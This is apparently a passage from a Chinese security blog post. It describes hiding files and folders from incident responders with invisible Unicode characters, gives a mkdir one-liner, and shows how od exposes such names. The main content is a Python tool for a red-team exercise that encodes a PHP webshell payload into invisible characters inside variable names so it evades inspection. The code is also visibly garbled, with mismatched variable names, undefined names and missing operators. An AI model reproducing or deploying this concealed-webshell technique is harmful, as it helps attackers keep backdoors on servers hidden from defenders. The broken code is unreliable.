但是搞个编辑器打开,就很容易被看出来:
有人可能会觉得这个文件很容易被发现,但实际上在真实的应急响应过程中,隐藏的手段往往就是这么简单,简单而有效。往往就是大家不屑一顾的小技巧,能达到出其不意的效果。当然这些道理我也是在后面磨炼中才悟到的。所以,在当时我对这个手段的态度,觉得它有趣要远大于觉得它很实用。
看不见的字符大概是在前年吧,闲着无聊的时候翻阅 freebuf(日常无聊)
看到了这么一篇文章:《Linux应急故事之四两拨千斤:黑客一个小小玩法,如何看瞎双眼》,https://www.freebuf.com/articles/terminal/187842.html,就点进去看了一下。这篇文章我简单总结一下:入侵者将文件夹命名为 . .(中间是个空格),骗过了应急响应人员,使他找不到病毒文件夹……
吧,不管怎么说,这也证实了我上面的说法:简单有效是最好的。但我觉得这篇文章干货不多,原因并不是因为这个手段很 low 或者是他水平不行,而是攻击者居然用的是空格而不是其他更加隐蔽的字符。所以我带着失望的心情留下了这个评论:
图中利用了 Unicode 的一些不可见字符,不但搞出了多个 ..,甚至还有多个 .,随便挑一个字符来用,不比用空格强?字符可用 6D4、115F、1160、17B4、17B5,我估计类似的还有很多很多,操作可以这样:echo -e ".\u17B4." | xargs mkdir。但是即使用了这些更加隐蔽的手段,也是能被找出来的,就比如那篇文章中 dump 内存,或者用 od 也可以直接看的: bash-3.2$ ls -ad .*| od -c 0000000 . \n . . \n . � 236 � . \n 0000013
再不济,就犹如那篇的文章评论区有人指出的:
类似的字符还有之前在 fb 上发出的一篇文章:《用零宽度字符水印揭露泄密者身份》,https://www.freebuf.com/articles/web/167903.html,这篇文章里主要提到的是抓内鬼,防泄漏,当时我也写了个工具实现了一下:https://github.com/Macr0phag3/Zero-Width-Spaces-Hiden,就是利用不可见的 Unicode 字符来隐藏信息,最近也有 CTF 开始玩这个套路了。
过人 WebShell pro 版前几天在内部攻防演练,因为都是一个组的,大家知根♂知底♀的,所以在准备 webshell 的时候我就想整点新的东西。那么我们现在有了什么呢?我们有了隐藏 webshell 的手段,又有了看不见的字符,如果将空格与 tab 分别用 2 个不同的不可见字符替换,过人 webshell pro 版就诞生了:
import re import sys import binascii def put_color(string, color): colors = { 'red': '31', 'green': '32', 'yellow': '33', 'blue': '34', 'pink': '35', 'cyan': '36', 'gray': '2', 'white': '37', } return '\033[40;1;%s;40m%s\033[0m' % (colors[color], str(string)) if len(sys.argv) not in [3, 4]: sys.exit( '''[!] usage: python hidden_webshell.py payload filename [output_filename]\n''' ''' [-] example: python {}{}{}'''.format( put_color('hidden_webshell.py', 'white'), put_color(''' 'system("echo \"hacked by Tr0y :)\"");' ''', 'green'), put_color('webshell.php', 'blue') ) ) webshell_name = sys.argv[2] hidden_name = sys.argv[3] if len(sys.argv) == 4 else 'webshell_hidden.php' exp = sys.argv[1] # '''system("echo 'hacked by Tr0y :)'");''' if not exp.endswith(';'): print('[!] WARN: {} {}'.format( put_color('The payload should end in', 'yellow'), put_color(';', 'cyan') )) print('[+] Hide webshell') print(' [-] Read from {}'.format(put_color(webshell_name, 'blue'))) print(' [-] Payload is {}'.format(put_color(exp, 'green'))) hidden_str = ["឴", "឵"] hidden_str = ["K", "k"] payload = list('create_function' + exp) with open(webshell_name, 'r') as fp: raw_php = fp.readlines() last_line_num = var_count = 0 last_var = '' for line_num, content in enumerate(raw_php): phpvar = re.findall('^\s(\$[0-9a-zA-Z]+)\s+=', content) if php_var: last_var = php_var[0] last_line_num = line_num var_count += 1 if not var_count: print('[!] ERRO: {}'.format( put_color('The PHP file must contains valid $vars', 'red'), )) replaced = {} for line_num, content in enumerate(raw_php[:last_line_num]): if not payload: break vartmp = re.findall('^\s(\$[0-9a-zA-Z]+)\s+=', content) if var_tmp: var = var_tmp[0] content = raw_php[line_num] char = payload.pop(0) print('隐藏', char, content) hex_num = hex(ord(char)) tab_num = int(hex_num[2], 16) space_num = int(hex_num[3], 16) need_replace[var] = var + "\u17B4" tab_num + "\u17B5" space_num replace_str = var + hidden_str[0] tab_num + hidden_str[1] space_num replaced[var] = replacestr for var in replaced: tmp = re.findall(re.escape(var)+'(?![0-9a-zA-Z])', raw_php[line_num]) if tmp: var_to_replace = tmp[0] print(f'将 {raw_php[line_num]} 中的 {var_to_replace} 替换为 {replaced[var]}') raw_php[line_num] = raw_php[line_num].replace(var_to_replace, replaced[var]) if payload: replace_str = bin( int(binascii.b2a_hex(bytes(''.join(payload), 'utf8')), 16) )[2:].replace('0', hidden_str[0]).replace('1', hidden_str[1]) replaced[last_var] = last_var[:2] + replace_str + lastvar[2:] for var in replaced: tmp = re.findall(re.escape(var)+'(?![0-9a-zA-Z])', raw_php[last_line_num]) if tmp: var_to_replace = tmp[0] print(f'将 {raw_php[last_line_num]} 中的 {var_to_replace} 替换为 {replaced[var]}') raw_php[last_line_num] = raw_php[last_line_num].replace(var_to_replace, replaced[var]) with open(hidden_name, 'w') as fp: fp.writelines(raw_php) print('[!] Saved as {}'.format(put_color(hidden_name, 'blue'))) print('[!] All done\n\nBye :)')